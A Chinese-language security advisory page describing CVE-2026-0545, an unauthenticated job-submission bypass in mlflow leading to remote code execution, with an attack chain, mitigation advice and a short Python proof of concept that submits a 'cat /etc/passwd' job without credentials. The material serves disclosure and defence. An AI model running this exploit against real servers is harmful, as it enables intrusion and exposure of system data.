IPBUF安全漏洞报告
English
CVE-2026-0545 CVSS 9.8 严重

CVE-2026-0545 mlflow认证绕过致RCE

披露日期: 2026-04-03

漏洞信息

漏洞编号
CVE-2026-0545
漏洞类型
认证绕过、远程代码执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
mlflow

相关标签

RCE认证绕过mlflowFastAPI

漏洞概述

mlflow启用basic-auth时,FastAPI的/ajax-api/3.0/jobs/*接口未受保护。攻击者可无需认证提交或取消作业。若作业启用执行且涉及特权操作,将导致未认证远程代码执行、数据泄露或拒绝服务。

技术细节

该漏洞源于mlflow在启用`basic-auth`应用时,未能正确保护FastAPI框架下的作业管理端点。当服务器配置`MLFLOW_SERVER_ENABLE_JOB_EXECUTION=true`并将特定函数加入白名单,攻击者可直接向`/ajax-api/3.0/jobs/submit`等接口发送HTTP请求,绕过身份验证机制。若白名单作业包含shell命令执行或文件系统修改等敏感操作,攻击者通过构造恶意请求即可在服务器端执行任意代码。

攻击链分析

STEP 1
1. 信息收集
识别开启basic-auth且启用了作业执行功能的MLflow服务器。
STEP 2
2. 绕过认证
向/ajax-api/3.0/jobs/submit发送未携带认证信息的HTTP POST请求。
STEP 3
3. 提交恶意作业
构造包含恶意命令的作业提交请求,调用白名单中的敏感函数。
STEP 4
4. 执行代码
服务器执行恶意作业,导致远程代码执行或数据泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit(target_url): # The endpoint vulnerable to auth bypass endpoint = f"{target_url}/ajax-api/3.0/jobs/submit" # Malicious payload to execute a command (assuming a whitelisted job) # Replace 'run_shell' with actual whitelisted function name if known payload = { "name": "malicious_job", "entrypoint": "run_shell", "parameters": {"command": "cat /etc/passwd"} } try: # Send request without authentication headers response = requests.post(endpoint, json=payload, timeout=10) if response.status_code == 200: print("[+] Exploit successful! Job submitted without auth.") print(f"[+] Response: {response.text}") else: print(f"[-] Failed. Status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = "http://127.0.0.1:5000" # Replace with actual target exploit(target)

影响范围

mlflow 最新版本

防御指南

临时缓解措施
建议立即禁用`MLFLOW_SERVER_ENABLE_JOB_EXECUTION`配置选项,或通过网络防火墙规则阻断对作业接口的外部访问,直到补丁应用完毕。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表